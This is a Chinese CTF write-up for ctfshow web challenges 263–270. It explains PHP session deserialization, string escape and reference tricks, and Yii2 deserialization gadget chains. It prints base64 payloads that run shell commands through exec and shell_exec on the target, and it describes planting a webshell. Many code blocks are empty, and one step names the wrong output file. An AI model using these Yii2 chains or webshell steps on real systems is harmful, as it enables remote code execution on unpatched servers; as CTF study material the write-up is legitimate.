当开始一个会话时,PHP会尝试从请求中查找会话ID,(通常通过会话 cookie
),如果发现请求的Cookies
、Get
、Pos
t中不存在session id
,PHP 就会自动调用php_session_create_id
函数创建一个新的会话,并且在http response
中通过set-cookie
头部发送给客户端保存
- Session:数据存储在服务器端,客户端仅保存一个唯一的会话 ID,用于与服务器通信。
- Cookie:数据存储在客户端浏览器中,服务器不存储这些数据。
session的产生和存储
session_start()会创建新会话或者重用现会话。如果会话ID是通过GET,POST或者使用cookie提交,则会重用现有会话
当会话自动开始或者通过session_start()手动开始的时候,PHP内部会调用open和read回调函数,会话处理程序可能是PHP默认的,也可能是扩展提供的,也可能是通过session_set_save_handler()设定的用户自定义会话处理程序。通过read回调函数返回的现有会话数据(使用特殊的序列化格式存储),PHP会自动反序列化数据并且填充$_SESSION超级全局变量
那我们先来看看存储的路径在哪里:
1 |
|
可以发现这些是保存在临时文件目录里面
1 | /var/lib/php5/sess_PHPSESSID |
这些是常见的保存位置,那我们接下来看一下php.ini中对session的配置
session在php.ini的配置
先看看php.ini中对session的配置
1 | session.save_path = "/tmp" |
PHP session的存储机制是由
session.serialize_handler来定义引擎的,默认是以文件的方式存储,且存储的文件是由
sess_sessionid来决定文件名的,当然这个文件名也不是不变的,如
Codeigniter框架的
session存储的文件名为
ci_sessionSESSIONID
当然文件的内容始终是session的值序列化后的内容
上面也提到了session的序列化引擎,下面介绍了三种引擎
1 | php:存储方式是,键名+竖线+经过serialize()函数序列处理的值 |
在PHP中默认使用的是PHP引擎,如果要修改为其他的引擎,只需要添加代码ini_set(‘session.serialize_handler’, ‘需要设置的引擎’);。
1 |
|
得到
1 | php: bao|s:2:"18"; |
反序列化
当会话开始时,session_start()即会话开始时。session就会通过指定的序列化引擎将$_SESSION
序列化。然后放入文件进行存储。那么当我们再次开启对话的时候他也会进行自动的反序列化来填充$_SESSION
1 | session_start() |
那么如果此时开发者使用的引擎与默认引擎不同,是不是就会产生歧义,此时我们利用数据的存储形式不同的漏洞是不是就可以任意触发魔术方法进行利用了
也就是说,Session反序列化都是序列化引擎不一致导致存在安全问题
解题
通过dirsearch扫描目录可以发现一个www.zip,下载解压下来发现有三个php文件
index.php
1 |
|
在index.php 我们发现$_SESSION[‘limit’]我们可以进行控制
check.php
1 |
|
访问index.php,建立session,并获得cookie,将编码后的字符串放入limit中保存,并刷新
之后访问check.php,让我们的webshell成功写入
访问我们的1.php并用蚁剑连接就行了
web264
1 | error_reporting(0); |
看到注释中有message.php,打开看一下
1 | session_start(); |
其实就是web262和web263的结合,不能说结合吧,只是利用了session的一些基础知识+字符串逃逸
不过这个题没有设置session反序列化的处理器
先进行字符串逃逸构造我们的序列化字符串
发送后可以看到我们建立了一个会话phpsessid,页面提示我们message发送成功
那我们访问message.php,在cookie里面设置msg的值就可以了
web265
1 | error_reporting(0); |
- $ctfshow->token=md5(mt_rand());
- **
mt_rand()
**:这是一个PHP函数,用于生成一个随机整数。默认情况下,它会生成一个介于0和mt_getrandmax()
之间的整数,其中mt_getrandmax()
是一个很大的数,具体取决于PHP的编译方式和平台。 - **
md5()
**:这是另一个PHP函数,用于计算给定字符串的MD5哈希值
这道题只需要让password等于token就行了,由于token的值是随机数的md5值,我们无法确定token的具体数值,所以我们可以用php的指针进行解题
php指针
在PHP中,函数指针(function pointer)是指能够保存函数的引用并将其作为参数传递给其他函数的变量。它允许在运行时动态地引用和调用函数,增强了代码的灵活性和可重用性。
注意:函数指针在PHP中并不是真正的指针,而是一个保存函数引用的变量。它们并不像在底层语言中那样直接操作内存地址。
php中引用(&)的意思是:不同的名字访问同一个变量内容。
与C语言中的指针是有差别的.C语言中的指针里面存储的是变量的内容,在内存中存放的地址。
变量的引用
PHP 的引用允许你用两个变量来指向同一个内容
1 |
|
所以直接构造exp:通过__construct魔术方法构造
1 |
|
将password属性的值指向token的值,password的值随着token的改变而改变
php序列化中大写字母R代表引用类型,值为一个数字,指示是从根开始的、也就是从对象本身开始的第几个项目,从1开始数,如果要引用对象本身,序列化后为R:1;
如果要引用对象内第一个元素,序列化后则为R:2
。不论变量间是如何互相引用的,在序列化过程中php无从得知,php只知道哪几个值的地址一模一样,所以php只会将最先出现的值记录下来,后续出现有相同地址的变量就将其值描述为对它的引用。
把序列化后的字符串传入ctfshow参数中就可以了
web266
1 | highlight_file(__FILE__); |
file_get_contents(‘php://input’)
这行代码用于读取原始POST数据。php://input
是一个只读流,它允许你读取请求的原始数据。当你使用 file_get_contents('php://input')
时,它会返回请求体的内容
__toString()方法
当一个对象被当作一个字符串被调用,把类当作字符串使用时触发,返回值需要为字符串
这里过滤了ctfshow,那我们就用大小写绕过,因为这里是对$cs进行的过滤验证,所以我们的传参应该是传入这个$cs参数里面
构造payload:
1 | 赋值给username和password随便什么都行,因为都会触发__destruct,就会return flag |
注意hackbar是不能直接传值的,必须传键值对,所以我们用bp发包
破坏结构进行析构
就是说,传入一个破坏了反序列化字符串结构的字符串进去,使得,即使异常了,也会析构。
web267
页面看着也是挺懵的,一时间找不到做题的方向,就只能先看wp了,发现是yii反序列化
YII反序列化
先讲讲YII框架
Yii 是一个适用于开发 Web2.0 应用程序的高性能PHP 框架。
Yii 是一个通用的 Web 编程框架,即可以用于开发各种用 PHP 构建的 Web 应用。 因为基于组件的框架结构和设计精巧的缓存支持,它特别适合开发大型应用, 如门户网站、社区、内容管理系统(CMS)、 电子商务项目和 RESTful Web 服务等。
Yii 当前有两个主要版本:1.1 和 2.0。 1.1 版是上代的老版本,现在处于维护状态。 2.0 版是一个完全重写的版本,采用了最新的技术和协议,包括依赖包管理器 Composer、PHP 代码规范 PSR、命名空间、Traits(特质)等等。 2.0 版代表新一代框架,是未来几年中我们的主要开发版本。
Yii 2.0 还使用了 PHP 的最新特性, 例如命名空间 和Trait(特质)
漏洞描述
Yii2 2.0.38 之前的版本存在反序列化漏洞,程序在调用unserialize 时,攻击者可通过构造特定的恶意请求执行任意命令
具体链接:yii反序列化漏洞复现及利用_yii框架漏洞-CSDN博客
Yii2反序列化漏洞(CVE-2020-15148)分析学习 | Extraderの博客
先用弱口令登录admin/admin试试,发现可以登录,然后在一番寻找中在about的源代码里面找到了
那就查看view-source
然后page中可以看到多了一行代码
使用大佬的脚本
1 |
|
主要就是改checkAccess参数以及id参数,使之可以回显
直接cat flag的话会出现An internal server error occurred.
应该是设置了非调试模式的生产环境运行方式
传参GET:
?r=backdoor/shell&code=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjA6InlpaVxyZXN0XEluZGV4QWN0aW9uIjoyOntzOjExOiJjaGVja0FjY2VzcyI7czo0OiJleGVjIjtzOjI6ImlkIjtzOjE2OiJjYXQgL2ZsYWcgPjMudHh0Ijt9aToxO3M6MzoicnVuIjt9fX19
访问
http://08a2bbcd-9f38-4806-bf8d-902d04e4a1fc.challenge.ctf.show/3.txt
web268
poc:
1 |
|
?r=backdoor/shell&code=TzozMjoiQ29kZWNlcHRpb25cRXh0ZW5zaW9uXFJ1blByb2Nlc3MiOjE6e3M6NDM6IgBDb2RlY2VwdGlvblxFeHRlbnNpb25cUnVuUHJvY2VzcwBwcm9jZXNzZXMiO2E6MTp7aTowO086MTU6IkZha2VyXEdlbmVyYXRvciI6MTp7czoxMzoiACoAZm9ybWF0dGVycyI7YToxOntzOjk6ImlzUnVubmluZyI7YToyOntpOjA7TzoyMDoieWlpXHJlc3RcSW5kZXhBY3Rpb24iOjI6e3M6MTE6ImNoZWNrQWNjZXNzIjtzOjQ6ImV4ZWMiO3M6MjoiaWQiO3M6MTI6ImNwIC9mKiAxLnR4dCI7fWk6MTtzOjM6InJ1biI7fX19fX0=
然后访问1.txt就行
web269
1 |
|
?r=backdoor/shell&code=TzoyNzoiU3dpZnRfS2V5Q2FjaGVfRGlza0tleUNhY2hlIjoyOntzOjMzOiIAU3dpZnRfS2V5Q2FjaGVfRGlza0tleUNhY2hlAGtleXMiO2E6MTp7czo0OiJheGluIjthOjE6e3M6MjoiaXMiO3M6ODoiaGFuZHNvbWUiO319czozMzoiAFN3aWZ0X0tleUNhY2hlX0Rpc2tLZXlDYWNoZQBwYXRoIjtPOjQyOiJwaHBEb2N1bWVudG9yXFJlZmxlY3Rpb25cRG9jQmxvY2tcVGFnc1xTZWUiOjE6e3M6MTQ6IgAqAGRlc2NyaXB0aW9uIjtPOjE1OiJGYWtlclxHZW5lcmF0b3IiOjE6e3M6MTM6IgAqAGZvcm1hdHRlcnMiO2E6MTp7czo2OiJyZW5kZXIiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6MTA6InNoZWxsX2V4ZWMiO3M6MjoiaWQiO3M6MjM6ImNhdCAvZmxhZ3NhIHwgdGVlIDIudHh0Ijt9aToxO3M6MzoicnVuIjt9fX19fQ==
正常传入然后访问1.txt就可以了
web270
1 |
|